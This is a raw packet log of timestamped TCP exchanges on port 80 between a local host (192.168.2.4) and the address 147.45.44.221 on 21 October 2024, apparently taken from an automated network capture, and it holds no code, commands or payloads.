Oct 21, 2024 08:47:28.964355946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964381933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964396000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964420080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964431047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964462996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964477062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964510918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964533091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964545012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964550972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964579105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964590073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964611053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964622021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964648008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964668036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964720964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964725018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964764118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964772940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964806080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964818954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964848995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964859009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964893103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964906931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964926004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964941978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964958906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964971066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965001106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965013981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965042114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965068102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965090990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965090990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965126991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965142965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965159893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965176105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965212107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965214014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965265036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965267897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965300083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965312004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965332985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965353966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965393066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965395927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965429068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965451002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965462923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965468884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965496063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965514898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965531111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965547085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965574980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965581894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965615988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965631008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965650082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965662956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965682983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965698957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965713024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965729952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965754986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965764046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965812922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965816021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965848923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965871096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965883017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965893984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965917110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.965929985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965964079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.965967894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966000080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966017008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966034889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966048956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966068983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966083050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966106892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966115952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966139078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966155052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966186047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966190100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966223955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966239929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966258049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966273069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966293097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966305971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966325045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966341972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966360092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966376066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966396093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966413021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966434002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966443062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966466904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966481924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966501951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966515064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966535091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966555119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966568947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966584921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966602087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966613054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966638088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966649055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966670990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966681957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966713905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.966723919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.966759920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.971883059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.971935987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.971940041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.971973896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.971981049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.972006083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.972019911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.972043037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.972054958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.972071886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.972089052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.972120047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083038092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083156109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083200932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083210945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083221912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083250046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083254099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083283901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083297014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083317995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083328009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083367109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083375931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083430052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083482027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083530903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083534956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083568096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083581924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083620071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083621025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083652020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083668947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083684921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083698988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083718061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083735943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083751917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083776951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083791971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083808899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083861113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083863974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083909035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083909988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083952904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.083956957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.083986044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084005117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084037066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084043026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084075928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084093094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084125996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084126949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084177017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084181070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084223032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084228992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084259033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084278107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084306002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084310055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084359884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084361076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084392071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084402084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084424019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084439993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084459066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084474087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084486961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084508896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084520102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084531069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084553957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084567070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084583998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084599972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084615946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084630966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084650993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084661961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084680080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084696054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084712982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084731102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084744930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084757090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084774971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084791899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084806919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084825993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084841013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084850073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084872007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084883928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084907055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084918022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084944010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084965944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.084975958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.084991932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085009098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085020065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085042953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085056067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085072994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085091114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085105896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085119009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085140944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085155964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085175991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085190058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085211039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085223913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085243940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085258961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085280895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085289955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085311890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085328102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085345984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085355997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085381031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085392952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085416079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085427999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085452080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.085468054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.085500956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091123104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091157913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091181040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091191053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091197968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091223955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091240883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091259003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091270924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091293097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091304064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091339111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091856003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091909885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091913939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091944933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.091959000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091985941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.091995955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092030048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092048883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092073917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092082024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092128038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092133045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092166901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092194080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092200041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092215061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092245102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092255116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092307091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092307091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092343092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092367887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092375040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092384100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092428923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092428923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092463017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092483044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092509985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092516899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092565060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092567921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092603922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092617035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092633963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092648983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092667103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092683077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092700958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092713118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092735052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092749119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092768908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092777014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092802048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092817068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092835903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092849016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092869043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092885017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092904091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.092915058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092952013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.092976093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093033075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093060017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093061924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093075037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093108892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093158007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093193054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093214989 CEST	49732	80	192.168.2.4	147.45.44.221
